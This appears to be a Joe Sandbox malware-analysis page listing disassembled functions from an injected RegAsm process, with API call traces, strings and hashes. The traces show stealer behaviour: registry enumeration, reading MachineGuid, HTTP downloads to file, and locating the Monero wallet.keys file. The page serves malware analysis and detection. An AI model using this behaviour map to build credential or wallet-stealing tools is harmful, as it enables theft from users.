Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$YxA$firefox
API String ID: 3722407311-1094127623
Opcode ID: 5638bd559bafc9974d2bea39a89f69e09fec74e87ae3bb074a22925992ba2f89
Instruction ID: 7b5a2934aedd5e45d524a5902c2414401f5f6fdffbf80b1274ea703f7d805636
Opcode Fuzzy Hash: 5638bd559bafc9974d2bea39a89f69e09fec74e87ae3bb074a22925992ba2f89
Instruction Fuzzy Hash: 52B1AF72D00109AFDF20FFA9DD47B8D77B2AF40318F550126F904B7291DA78AA588BD9

Function 00411203 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670B,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E84), ref: 004113DC

Strings

%s\%s, xrefs: 004112D7
- , xrefs: 004113E6
?, xrefs: 00411263

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 1736561257-3278919252
Opcode ID: 0e642b47d0107273f1a64af6442d8bb44133f3608e27ba63a7af9c1e2e3b1845
Instruction ID: 2908aff31a84832516e333fc715a0b61748632f0151a59db2ded1e8cda65474d
Opcode Fuzzy Hash: 0e642b47d0107273f1a64af6442d8bb44133f3608e27ba63a7af9c1e2e3b1845
Instruction Fuzzy Hash: 2C61E6B590022C9AEF21DB15DD84EDAB7B9AB44708F1042E6A608A2161DF35AFC9CF54

Function 0041688F Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 004168E3
lstrlenA.KERNEL32(?), ref: 004168EE

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 00416903
lstrlenA.KERNEL32(?), ref: 00416912
lstrlenA.KERNEL32(00000000), ref: 0041692B

Strings

ERROR, xrefs: 00416936
ERROR, xrefs: 00416947
ERROR, xrefs: 00416940
ERROR, xrefs: 0041694E
ERROR, xrefs: 004168DD

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: b9c50152d13d2ba3c1b7fe1a52b9098a898b693a399db4bb56ab49ed6e5fee82
Instruction ID: 9be3955ae02d8fa47908ba5e3f66db30d894a04ceac2f5e5034b80f355dae603
Opcode Fuzzy Hash: b9c50152d13d2ba3c1b7fe1a52b9098a898b693a399db4bb56ab49ed6e5fee82
Instruction Fuzzy Hash: DA21C471A00215ABCB20BB75DD469DD7BA5AF04314F11902BFD00F31A2DB7DD9858B99

Function 004067ED Relevance: 13.6, APIs: 9, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: dc47a354296b7790b1f954c5cb67418485f788004faa898ff43b7ff91dbd954b
Instruction ID: cbe824351fc4ccb66a21d1ceb878d1aedd75c8a2ce48e6de5e97826157353538
Opcode Fuzzy Hash: dc47a354296b7790b1f954c5cb67418485f788004faa898ff43b7ff91dbd954b
Instruction Fuzzy Hash: 62411DB1900128AFDF30DB21DD49BDA7BB9EF04315F1040B6FB09B21A1D6359E958FA8

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 09c5f755c00d743d5ce0f62924fbf6a8c82eec07873bd999d867cc2c672c8a0a
Instruction ID: 0f266f934928723e0fcf9488acc14ad5b4b0daacd8b66a1f41e8e740426da83c
Opcode Fuzzy Hash: 09c5f755c00d743d5ce0f62924fbf6a8c82eec07873bd999d867cc2c672c8a0a
Instruction Fuzzy Hash: E45191B1D0022C9FDB309F54DC85BDDB7B9AB44308F0000FAA609B7692D6796E89CF59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 00401AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 129stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

.keys, xrefs: 00401B0D
\Monero\wallet.keys, xrefs: 00401B2F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$File$AllocCreateHeaplstrlen$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 3529164666-3586502688
Opcode ID: d3b2e6a516c7fffd5d3c5b216be02d4c1431b600bcb16b660a5902b4e9d0ee6c
Instruction ID: 69b81150e18d91f1f1e54b8cdea51100ef8117911954c29cb3d5610a51c1c03f
Opcode Fuzzy Hash: d3b2e6a516c7fffd5d3c5b216be02d4c1431b600bcb16b660a5902b4e9d0ee6c
Instruction Fuzzy Hash: FA5151B1E9012D9BCF11EB25DD466DC7379AF04308F5054BAB60873191DA78AFC98F98

Function 00415DC0 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E4F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415E6C
lstrcatA.KERNEL32(?,?), ref: 00415E8B
lstrcatA.KERNEL32(?,?), ref: 00415E9F
lstrcatA.KERNEL32(?), ref: 00415EB2
lstrcatA.KERNEL32(?,?), ref: 00415EC6
lstrcatA.KERNEL32(?), ref: 00415ED9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415AD4: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415AF9
Part of subcall function 00415AD4: HeapAlloc.KERNEL32(00000000), ref: 00415B00
Part of subcall function 00415AD4: wsprintfA.USER32 ref: 00415B19
Part of subcall function 00415AD4: FindFirstFileA.KERNEL32(?,?), ref: 00415B30
Part of subcall function 00415AD4: StrCmpCA.SHLWAPI(?,00436A90), ref: 00415B51
Part of subcall function 00415AD4: StrCmpCA.SHLWAPI(?,00436A94), ref: 00415B6B
Part of subcall function 00415AD4: wsprintfA.USER32 ref: 00415B92

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1968765330-0
Opcode ID: dd9077d2ece8f0fa62e47e77babbbc2b8a1a962058fa4acaeb397200ae06d387
Instruction ID: e94e5e549771f60c9880f302011d3a12e822f5a94e981cf4ded127be2f8bd2c2
Opcode Fuzzy Hash: dd9077d2ece8f0fa62e47e77babbbc2b8a1a962058fa4acaeb397200ae06d387
Instruction Fuzzy Hash: 4E512CB1A0011C9BCF54DB64CC85ADDB7B9BB4C315F4044EAF609E3250EA35ABC98F58

Function 00415638 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041566D
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 0041568D
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156B3
lstrcatA.KERNEL32(?,?), ref: 004156EE
lstrcatA.KERNEL32(?), ref: 00415701

Strings

yA, xrefs: 004157C7

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue_memset
String ID: yA
API String ID: 3357907479-454502181
Opcode ID: 494fea68686eff91aff3f079c2517486a256e6cd59fad59ecf56d21876959426
Instruction ID: 605e856f38cca70513c2d65eec64d52423aa7d5069a1eccea3626d389ebe3aa6
Opcode Fuzzy Hash: 494fea68686eff91aff3f079c2517486a256e6cd59fad59ecf56d21876959426
Instruction Fuzzy Hash: 5141AE7184011D9FDF24EF60DC86AE8777ABB18309F1004AAF50AA31A1DE759FC59F54

Function 6C15C930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C15C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C15C969
GetSystemInfo.KERNEL32(?), ref: 6C15C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C15C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C15C9E2

Strings

g/, xrefs: 6C15C939

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: g/
API String ID: 4191843772-2179982415
Opcode ID: e3a979452c1b2501eef9032c824e14062f070b94ef80fdc04bb687fbfe444771
Instruction ID: 8f193075746e683e43877588b6ae7af423192aec00e88b2a12e09d33958e31ed
Opcode Fuzzy Hash: e3a979452c1b2501eef9032c824e14062f070b94ef80fdc04bb687fbfe444771
Instruction Fuzzy Hash: 0E21FCB17412146BDB14AE24CC94BAE77B9AB4A744F900119F917E7B40DB745D00CBA1

Function 004115D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
CharToOemA.USER32(?,?), ref: 0041166B

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C
MachineGuid, xrefs: 00411640

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
